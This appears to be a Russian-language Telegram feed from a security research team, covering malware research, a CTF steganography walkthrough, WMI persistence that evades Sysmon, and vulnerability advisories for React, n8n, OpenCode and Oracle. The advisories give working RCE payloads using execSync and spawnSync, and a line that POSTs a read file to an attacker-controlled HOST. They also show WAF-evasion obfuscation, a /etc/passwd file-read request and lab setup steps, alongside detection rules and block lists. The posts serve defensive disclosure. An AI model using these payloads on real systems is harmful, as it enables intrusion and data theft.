Четыре луча – Telegram
Четыре луча
3.9K subscribers
86 photos
99 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Mycelium, Octopus и Leech — рассказываем о новом инструментарии группировки Shedding Zmiy

В марте мы выпустили статью о новых инструментах Shedding Zmiy. В том же инциденте мы обнаружили не только руткиты Puma и Kitsune, но и еще несколько новых утилит, написанных на Rust, которые могут использовать злоумышленники для закрепления в системе и постэксплуатации.

Обратили внимание и на техники, которые используют данные вредоносы, и то, как они взаимодействуют между собой. В новой статье рассматриваем:

— как утилиты помогают повысить привилегии;
— каким образом происходит закрепление в системе и дальнейшая маскировка;
— какие возможности получает злоумышленник при попадании этих вредоносов в систему.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥146🤯4👾1
Решение задания с ZeroNights

Всем участникам конференции ZeroNights мы предлагали пройти квест. Были те, кто справился — молодцы, поздравляем! Но еще подготовили разбор задания для всех желающих.

😬 На входе участник получал дамп сетевого трафика в формате .pcap. При его детальном анализе он мог заметить локальный TFTP-трафик от 127.0.0.1 к 127.0.0.1. Ему нужно было воспользоваться функцией Wireshark, которая позволяет экспортировать передаваемые объекты данного протокола, чтобы получить архив Important.zip.

В архиве три файла:
- doc.txt
- photo.png
- song.wav


Текстовый документ открывается в любом редакторе. Внутри такое сообщение:
My pet's name: Solar
The rest is hidden in the image.


На photo.png — роботизированная собака. С помощью подсказки участник должен был проанализировать изображение и заметить встроенный текстовый chunk (tEXt):
SECRET=ik42


😬 Дальше было важно понять, для чего нужен этот фрагмент. Для этого нужно проанализировать последний файл из архива song.wav, который при открытии издает монотонный звук.

Файл выглядит как обычный .wav, но его размер подозрительно большой. При подробном анализе файла можно было заметить намеренно оставленный маркер GPG_START. И если вытащить не связанную со звуком информацию в HEX-редакторе и сохранить её в отдельном файле, то участник получит file fs.gz.gpg.

Это зашифрованный gzip-архив. Пароль для его расшифровки — фрагменты Solar + ik42. Архив содержал в себе файловую систему fs, которую нужно было смонтировать:
sudo mount -o loop fs mnt
ls -R mnt
mnt/
└── secret_dir
└── final.txt


Текстовый документ содержал в себе флаг к этой задаче:
Solar4Rays{S0RR4_F0R_ST3G0_AG41N}


Это финал! Ставим лайк победителям квеста ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥349😁53👍1👾1
Evading Detection to Ring0

Задумывались ли вы о том, как работают инструменты сбора телеметрии, которые вы используете у себя в инфраструктуре? Знаете ли их потенциальные слабые места?

Злоумышленники постоянно ищут и успешно находят способы обхода различных защитных решений, а также стараются вести себя в скомпрометированной инфраструктуре как можно тише. Если вы не будете хотя бы иногда думать о первых двух вопросах, то очень вероятно, что злоумышленники смогут обмануть защиту.

Мы подумали, разреверсили EventLog, Sysmon и ядро операционной системы Windows, а по итогам исследования выпустили статью, в которой рассказываем:
😬 как работает EventLog от момента генерации события до его получения в журналах;
😬 как работает широко известный Sysmon;
😬 что такое ETW и с чем его едят;
😬 как можно собирать телеметрию о WinAPI-вызовах;
😬 какие есть способы обхода перечисленных средств сбора телеметрии.

Также о нашем исследовании мы рассказывали на SOC Forum 2025. Ищите запись на Rutube.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥189🎉6🌚1👾1
Критическая уязвимость CVE-2025-55182

Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.

Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-502


😬 Кратко об уязвимости
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.

Flight-протокол допускает ссылки вида $1:key1:key2:...:keyN:
$1:__proto__:constructor:constructor


Протокол разбирает это так: взять фрагмент 1 -> получить поле __proto__ -> получить constructor -> опять получить constructor. Если нет проверки «является ли поле собственным свойством объекта», интерпретатор переходил в прототип, затем в Function constructor и в итоге получал сам конструктор функции.

😬 Примеры
Cтандартная нагрузка в большинстве эксплойтов:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('CODE');", "_formData": {"get": "$1:constructor:constructor"}}}


😬 Какие еще вариации полезных нагрузок есть и к каким последствиям может привести уязвимость

RCE
process.mainModule.require('child_process').execSync('CODE'); 

Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.

process.mainModule.require('child_process').execSync('CODE').toString().trim();;throw Object.assign(newError('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.

process.mainModule.require('child_process').spawnSync('CODE', { shell: true, stdio: 'ignore' })

Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.

SSRF
process.mainModule.require('https').request({hostname:HOST',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('FILE'));

Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.

Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:
:__proto__:then  -> \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e


Или строку CODE могут закодировать в base64 так:
execSync(Buffer.from('Q09ERQ==','base64').toString())


Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.
process.mainModule.require('child_process').execSync('CODE');  ->  Function('return '+String.fromCharCode(112,114,111,99,101,115,115))().mainModule.require('child_process').execSync('CODE’)


Техники можно комбинировать, что усложняет обнаружение.
 \u0046\u0075\u006e\u0063\u0074\u0069\u006f\u006e('return '+String.fromCharCode(112,114,111,99,101,115,115))...


😬 Итог
Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.

Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки $B, $@, $Q или их Unicode представления и опасные JS-методы или функции, например child_process, String.fromCharCode, _proto_, execSync ,spawnSync, _chunks, _formData, _response, toString. Нужно регистронезависимое правило.

Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17733
WMI Persist, который Sysmon не видит

В Windows есть довольно старая техника закрепления через подписчики WMI. Суть в том, что злоумышленник обращается к классам пространства имен ROOT\Subnoscription (Скриншот 1) и создает три сущности:

1️⃣ EventFilter — фильтр, который по указанной логике отрабатывает на события, например запуск процесса с характерными параметрами.

2️⃣ EventConsumer — сущность, которая описывает, что произойдет, когда срабатывает фильтр.

3️⃣ FilterConsumerBinding — отвечает за создание связи между определенными EventFilter и EventConsumer.

Таким образом, злоумышленник в ответ на определенные события в системе (например, SystemStartup) может прописать запуск своего пэйлоада и закрепиться. У Sysmon есть отдельные события на эту активность:

🫡 EventId 19 — WmiEventFilter activity detected, срабатывает на регистрацию WMI-фильтра.

🫡 EventId 20 — WmiEventConsumer activity detected, срабатывает на регистрацию WMI Consumer.

🫡 EventId 21 — WmiEventConsumerToFilter activity detected срабатывает на регистрацию связи между WMI Consumer и WMI Filter.

Этот тип закрепления видно, к примеру, в утилите Autoruns (скриншот 2).

Но у принципа сбора WMI-событий в Sysmon существует недостаток, который заключается в том, что события собираются только из пространства имен ROOT\Subnoscription.

Дело в том, что в пространстве имен ROOT\Default есть аналогичные классы (скриншот 3), которые можно использовать для этого типа закрепления.

📍 Если Filter, Consumer и Binding будут созданы через это пространство имен, то Sysmon не сгенерирует никаких событий, а закрепление пройдет успешно.

Если хотите более подробно ознакомиться с тем как Sysmon собирает WMI-события, читайте в нашей статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👏5💅52🤔2👍1🤩1
Rust: как бороться с ночным кошмаром реверс-инженеров 👀

Часто при исследовании вредоносов на Rust создают сигнатуры для используемых крейтов. Это помогает распознать библиотечные функции внутри исполняемого файла. Но если не знать параметров оптимизации, с которыми был скомпилирован вредонос, сигнатуры могут получиться некачественными и тогда не удастся распознать большое количество функций.

Мы разработали и выложили в открытый доступ скрипт, который может подобрать наиболее подходящие параметры оптимизации для того, чтобы создавать более эффективные сигнатуры. Как его можно применить на практике и какой еще эффективный метод исследования Rust-вредоносов есть, читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1692🤓2
Четыре луча
Критическая уязвимость CVE-2025-55182 Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный…
Дополнительно к CVE-2025-55182

Стало известно еще о двух уязвимостях в React Server Components:

1. CVE-2025-55184 (CVE-2025-67779) — угроза типа «отказ в обслуживании». Уязвимы версии до 19.0.3, 19.1.4 и 19.2.3.
2. CVE-2025–55183 — угроза раскрытия исходного кода.

🫡 Метрики
CVE-2025–55184
Base Score: 7,5
CVE-2025–55183
Base Score: 5,3


🫡 Об уязвимости CVE-2025–55183
Уязвимость возникает при десериализации вредоносного запроса, где сервер возвращает исходный код вместо ожидаемого ответа. Для эксплуатации уязвимости необходимо иметь серверную функцию, которая явно или неявно предоставляет строковый аргумент.

🫡 Об уязвимости CVE-2025–55184
Уязвимость возникает при десериализации вредоносного запроса, который вызывает бесконечный цикл, что в свою очередь ведет к большому потреблению ресурсов сервера.

🫡 Пример CVE-2025–55183
Content-Disposition: form-data; name="0"
["$F1"]
------SourceLeak
Content-Disposition: form-data; name="1"
{"id":"40253f19fa8f907f9b5ea79d831ed8ce7f3cb46e15","bound»: null}
------SourceLeak—


🫡 Пример CVE-2025–55184
Content-Disposition: form-data; name="0"; filename=""

"$@0"
--36bd33c14b4a09f0b880ae771a9a66af--


🫡 Как защититься
Правило может выглядеть так: POST-запрос плюс заголовки next-action или x-rsc-action плюс наличие в теле маркеров $B, $@, $Q, $F либо их Unicode-представления.
Please open Telegram to view this post
VIEW IN TELEGRAM
12🔥9👀52
Критическая уязвимость в n8n CVE-2025–68613
Дополнительно — лабораторная работа

CVE-2025–68613 — уязвимость выполнения удаленного кода у авторизированных пользователей в n8n. Уязвимы версии меньше 1.120.4, 1.121.1 и 1.122.0. FOFA сообщает более чем о полумиллионах доступных инстансов n8n по всему миру, в том числе и в России.

🫡 Метрики
Base score: 9.9 critical
CWE: CWE-913


🫡 Об уязвимости
В n8n существует возможность установки set-ноды, в значении которой можно передать Java Script–код, что приводит к RCE. В ручном тестировании атака выглядит так.

1) Создают workflow.
2) Выбирают Set-ноду.
3) Выбирают тип данных String.
4) Устанавливают value-значение в формате {{CODE}}.
5) execute step.

Например, value может выглядеть так:
{{ (function() { var require = this.process.mainModule.require; var { execSync } = require("child_process"); return execSync("id", { encoding: "utf8" }).trim(); })() }}


Смягчающий фактор: для атаки нужно авторизироваться.

🫡 Пример атаки

Запрос:
{"workflowData":{"name":"cmd","nodes":[{"parameters":{},"type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[0,0],"id":"8609d8a2-6b0e-4029-acfc-f9fd0c8e2d37","name":"When clicking ‘Execute workflow’"},{"parameters":{"assignments":{"assignments":[{"id":"e576a768-68f6-450c-99d5-089122627914","name":"","value":"={{ (function() { var require = this.process.mainModule.require; var { execSync } = require(\"child_process\"); return execSync(\"id\", { encoding: \"utf8\" }).trim(); })() }}","type":"string"}]},"options":{}},"type":"n8n-nodes-base.set","typeVersion":3.4,"position":[208,0],"id":"e385a6e4-f0dc-4b52-b5c1-5b594f49e56e","name":"Edit Fields"}],"pinData":{},"connections":{"When clicking ‘Execute workflow’":{"main":[[{"node":"Edit Fields","type":"main","index":0}]]}},"active":false,"settings":{},"tags":[],"versionId":"9ca41c70-8dc0-4fde-9e7c-6b5f99040518","meta":null,"id":"IlnKYKYHiRWvL7Gp"},"runData":{},"startNodes":[],"destinationNode":"Edit Fields"}


Часть ответа:
"data":"[{\"startData\":\"1\",\"resultData\":\"2\",\"executionData\":\"3\"},{\"destinationNode\":\"4\",\"runNodeFilter\":\"5\"},{\"runData\":\"6\",\"pinData\":\"7\",\"lastNodeExecuted\":\"4\"},{\"contextData\":\"8\",\"nodeExecutionStack\":\"9\",\"metadata\":\"10\",\"waitingExecution\":\"11\",\"waitingExecutionSource\":\"12\"},\"Edit Fields\",[\"13\",\"4\"],{\"When clicking ‘Execute workflow’\":\"14\",\"Edit Fields\":\"15\"},{},{},[],{},{},{},\"When clicking ‘Execute workflow’\",[\"16\"],[\"17\"],{\"startTime\":1766556431228,\"executionIndex\":0,\"source\":\"18\",\"hints\":\"19\",\"executionTime\":1,\"executionStatus\":\"20\",\"data\":\"21\"},{\"startTime\":1766558489574,\"executionIndex\":1,\"source\":\"22\",\"hints\":\"23\",\"executionTime\":4,\"executionStatus\":\"20\",\"data\":\"24\"},[],[],\"success\",{\"main\":\"25\"},[\"26\"],[],{\"main\":\"27\"},[\"28\"],{\"previousNode\":\"13\",\"previousNodeOutput\":0,\"previousNodeRun\":0},[\"29\"],[\"30\"],[\"31\"],{\"json\":\"32\",\"pairedItem\":\"33\"},{\"json\":\"34\",\"pairedItem\":\"35\"},{},{\"item\":0},{\"\":\"36\"},{\"item\":0},\"uid=1000(node) gid=1000(node) groups=1000(node)\"]


🫡 Лабораторная
В комментариях прикрепили docker-файл, который необходимо скачать. Далее выполнить docker-compose up. После установки в консоли вы увидите адрес и порт n8n-сервиса, на него необходимо перейти и закончить настройку. Далее необходимо выполнить все шаги выше.

🫡 Как защищаться
Блокировать POST-запросы на /rest/workflows, где значение переменой value ноды set передается строка вида {{CODE}}. CODE можно заменить на опасные JS-функции, например, require, child_process, execSync, toString и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥193🤔31
Вскрываем bincrypter

В атаках на *nix нам периодически попадаются бинари, которые обфусцированы с помощью bincrypter — не самого сложного, но практичного инструмента. Он способен упаковывать исполняемые файлы и shell-скрипты в обфусцированный bash-скрипт, прячет логику расшифровки среди непечатного мусора, динамически собирает eval-конструкции и использует AES-256-CBC вместе с gzip. В результате сигнатурный и поверхностный статический анализ заметно усложняются.

👍 В новой статье мы подробно разбираем архитектуру bincrypter: как формируются секции shebang/init/payload, зачем нужен offset R, как обфусцируются base64-строки и каким образом выполняется финальная расшифровка нагрузки. Отдельно показываем, как извлекать ключевые переменные, чистить мусор и восстанавливать исходный исполняемый файл.

Также в статье есть YARA-правило для детекта bincrypter-обфусцированных файлов, а также наш новый инструмент bindecrypter, который автоматизирует весь процесс деобфускации. Если вы сталкиваетесь с *nix-имплантами, материал поможет быстрее пройти путь от обфусцированного скрипта до исходного бинаря.

И да, с наступающими! ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2095👍4🤯1
ETW для детектирования сложных атак

Если уже не хочется смотреть на оливье и новогодние фильмы, предлагаем почитать о ETW-провайдерах!

Использовали ли вы когда-нибудь ETW-провайдеры как источник телеметрии для детектирования атак? Мы выделили наиболее интересные ETW-провайдеры из множества доступных в Windows.

😬 Microsoft-Windows-DotNETRuntime — провайдер, который отслеживает различные события среды CLR.

😬 Microsoft-Windows-RPC — провайдер, который позволяет выявлять, какой конкретно RPC-метод пытались вызвать на эндпоинте.

😬 Microsoft-Windows-Threat-Intelligence — провайдер режима ядра, с помощью которого можно строить детекты на различные сложные методы инъекций: Process Hollowing, Early Bird APC Injection и так далее.

В статье можете прочитать больше про эти ETW-провайдеры и узнать о примерах атак, которые можно детектировать с их помощью (ToolShell, .NET Assembly Injection, Atexec-pro).

Бонус: также в статье мы поревёрсили ядро Windows и разобрали принцип работы провайдера Microsoft-Windows-Threat-Intelligence — от инициализации провайдера до примера генерации события выделения виртуальной памяти (Скриншот 1) с правами на исполнение. А еще описали способ обхода ETW-телеметрии — технику ETW Patching (Скриншот 2).
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥115👍2😁2💅2
Начнем год с Ni8mare и лабораторной 😈

Мы уже писали о n8n в прошлом году. Но пока отдыхали, в сети появился новый эксплойт на уязвимость — CVE-2026-21858. Она связана с путаницей типов, которая позволяет переопределить внутреннее состояние и может привести к чтению или исполнению произвольных файлов.

🫡 Подобнее об уязвимости
При HTTP-запросе n8n смотрит заголовок Content-Type и решает, как распарсить тело запроса.

— Если ожидается multipart/form-data, то n8n должен вызывать безопасный парсер загрузки файлов.

— Вообще путаница типов возникает, когда злоумышленник подменяет MIME type на application/json или что-то другое. И из-за ошибки Content-Type Confusion вызывается обычный парсер тела (parseBody()), который присваивает данные напрямую в req.body без проверки и защиты. То есть вызовется обычный парсер тела запроса вместо парсера загрузки файла. Это позволяет читать произвольный файл в функции prepareFormReturnItem для webhook через:
returnItem.binary![fileCount++] = await context.nodeHelpers.copyBinaryFile( file.filepath, file.originalFilename, file.mimetype );


🫡 Пример json
{
"files": {
"test": {
"filepath": "/etc/passwd"
}
}
}


А вот и лабораторная
.
1️⃣ Скачайте в комментариях файл docker-compose, который необходимо запустить через docker-compose up.
2️⃣ Настройте Workflow, как показано на скриншоте 1.
3️⃣ Отправьте произвольный файл.
4️⃣ Перехватите запрос, например в Burp Suite.
5️⃣ Измените его тип и содержимое.
6️⃣ Отправьте измененный запрос.

Уязвимость может быть использована как часть RCE-цепочки.
1) Получите данные авторизации через чтение фалов CVE-2026–21858.
2) Выполните удаленный код через CVE-2025–68613.

🫡 Как защищаться
1) В настройках Workflow настроить авторизацию для формы.
2) Блокировать запросы к форме загрузки файлов с типом application/json.
3) Обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
8👍7🔥4🤔1
Уязвимость CVE-2026–22812 в OpenCode

CVE-2026-22812 — уязвимость удаленного выполнения кода в OpenCode.

🫡 Метрики
Base Score: 8.8 HIGH
CWE: CWE – 306, CWE – 749, CWE – 942


🫡 Подробнее об уязвимости
OpenCode автоматически запускает локальный HTTP-сервер без какой-либо аутентификации. Сервер позволяет отправлять запросы, которые исполняют shell-команды от имени пользователя, запустившем OpenCode.

Из-за слишком разрешительных настроек CORS-сервер может быть доступен даже с веб-страницы — это расширяет вектор атаки далеко за пределы локальных приложений.

🫡 Уязвимые конечные точки
/session/{ID}/shell — выполнение shell-команд;
/pty — создание интерактивных терминальных сессий;
/file/content — чтение произвольного файла.

🫡 Цепочка атаки
Отправка POST-запроса на /session — получение сессии. Пример ответа:
{"id":"ses_42b13a22bffech8bpcpa6bpZO4","version":"1.0.215","projectID":"global","directory":"/workspaces","noscript":"New session - 2026-01-19T06:23:38.964Z","time":{"created":1768803818964,"updated":1768803818964}}


Далее сессия, в нашем случае ses_42b13a22bffech8bpcpa6bpZO4, используется для shell-команд:
POST /session/ses_42b13a22bffech8bpcpa6bpZO4/shell HTTP/1.1
Host: localhost:4096
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 41
{"agent": "build", "command": "id"}


🫡 Как защититься
1) Обновиться.
2) Если быстрое обновление невозможно, то блокировать запросы на уязвимые конечные точки из внешних систем, например, правилами WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
ShadowRelay — модульный бэкдор в госсекторе

В 2025 году мы расследовали атаку на организацию из госсектора и всего в одной инфраструктуре нашли много интересного от разных группировок:

🫡 оригинальный ShadowPad;
🫡 Shadowpad Light (Erudite Mogwai);
🫡 Donnect (Obstinate Mogwai);
🫡 Mythic Agent (GOFFEE).

Но среди этого знакомого зоопарка было и нечто новенькое.

Модульный бэкдор позволяет атакующим скрытно подгружать плагины, которые реализуют необходимую функциональность в конкретной атаке. Также бэкдор может поддерживать связь с другими имплантами, которые, например, не имеют подключения к интернету.


Бэкдор появился в атакованной инфраструктуре приблизительно с группировкой Obstinate Mogwai. Для надежной атрибуции этого маловато, поэтому личности операторов вредоноса пока под вопросом. А вот его устройство и механизмы действия мы разобрали в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
👌8👍63
Критическая уязвимость в Oracle-Fusion-Middleware CVE-2026-21962

CVE-2026-21962 — уязвимость удаленного выполнения кода (RCE) в Oracle Fusion Middleware, которые используют Oracle HTTP Server и плагин WebLogic Server Proxy для переадресации веб-трафика на серверы бэкенд-приложений. Уязвимость затрагивает Oracle HTTP Server и плагин WebLogic Server Proxy для Apache HTTP Server и IIS в версиях 12.2.1.4.0, 14.1.1.0.0 и 14.1.2.0.0 (для IIS-версии плагина — только 12.2.1.4.0).

👍 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-284


👍 Сканирование и эксплуатация
Кроме сканеров уязвимых версий в публичном пространстве появляются скрипты с попытками эксплуатации. Вот что информативного можно выделить в этих эксплоитах.

Уязвимые конечные точки:
"/weblogic/",
"/wl_proxy/",
"/bea_wls_internal/",
"/_proxy/",
"/proxy/"


Специфические URL
:
/weblogic/..;/bea_wls_internal/ProxyServlet


Заголовки
:
"WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"X-Forwarded-For": f"127.0.0.1;{encoded_payload}",

encoded_payload — закодированная в base64 shell-команда.

Пример запроса:
GET /weblogic/weblogic/..;/bea_wls_internal/ProxyServlet HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (compatible; Exploit/1.0)
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
WL-Proxy-Client-IP: 127.0.0.1;Y21kOmlk
X-Forwarded-For: 127.0.0.1;Y21kOmlk


👍 Как происходит сканирование
Отправляется запрос на {конечная точка}/weblogic/..;/bea_wls_internal/ProxyServlet. Если сервер отвечает статус-кодом 200, то запрос отправляется на эту же конечную точку с установленными заголовками.

👍 Как защититься
Для детектирования подобных сканеров можно написать правило на WAF/IDS , блокирующее GET/POST-запросы на уязвимые конечные точки, в URL которых передаются попытки выхода за пределы каталога ../ ..; а в заголовках — строка с кодировкой base64.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73🤔3👌3